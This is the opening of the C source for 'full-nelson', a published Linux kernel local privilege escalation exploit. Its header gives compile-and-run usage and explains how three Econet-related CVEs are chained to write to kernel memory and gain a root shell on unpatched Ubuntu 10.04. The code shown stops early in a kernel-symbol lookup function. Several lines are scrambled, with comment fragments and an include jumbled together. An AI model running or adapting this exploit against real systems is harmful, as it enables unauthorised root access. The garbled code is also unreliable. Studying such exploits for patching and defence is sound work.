/* * Linux Kernel <= 2.6.37 local privilege escalation #include <stdio.h> /* How many bytes should we clear in our /* thanks spender... */
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -------------
* This is the interesting one, and the reason I wrote this exploit. If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok(). However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -------------
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
* fairly benign as a local denial-of-service. It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -------------
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
